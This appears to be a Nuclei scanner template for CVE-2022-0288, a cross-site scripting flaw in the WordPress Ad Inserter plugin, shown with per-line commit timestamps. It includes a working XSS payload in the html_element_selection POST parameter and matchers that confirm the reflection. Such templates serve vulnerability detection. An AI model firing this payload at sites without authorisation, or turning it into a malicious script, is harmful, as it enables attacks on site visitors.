2022-05-05 12:13:31 +00:00
id : CVE-2022-0288
info :
2022-09-10 01:55:52 +00:00
name : WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
2022-05-05 12:13:31 +00:00
author : DhiyaneshDK
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 2.7.12
2022-05-05 12:13:31 +00:00
reference :
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0288
2022-05-05 12:13:55 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0288
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00106
2024-01-14 13:49:27 +00:00
epss-percentile : 0.42838
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ad_inserter_pro_project
product : ad_inserter_pro
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project
2022-05-05 12:13:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-05 12:13:31 +00:00
- method : POST
path :
- "{{BaseURL}}"
body : |
2023-07-11 19:49:27 +00:00
html_element_selection=</script><img+src+onerror=alert(document.domain)>
2022-05-05 12:13:31 +00:00
2023-07-11 19:49:27 +00:00
headers :
Content-Type : "application/x-www-form-urlencoded"
2022-05-05 12:13:31 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- "</script><img src onerror=alert(document.domain)>"
- "ad-inserter"
condition : and
- type : word
part : header
words :
2022-09-10 01:55:52 +00:00
- "text/html"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a00483046022100e0a3e2b80c0c3ee8a9b3143396edbe059b855e2a7059763ed83bde7d57824af8022100b251a19427a297b642a894b8f1bc6ce8359ccd8b50b208f5f843de86d8c90931:922c64590222798bb761d5b6d8e72950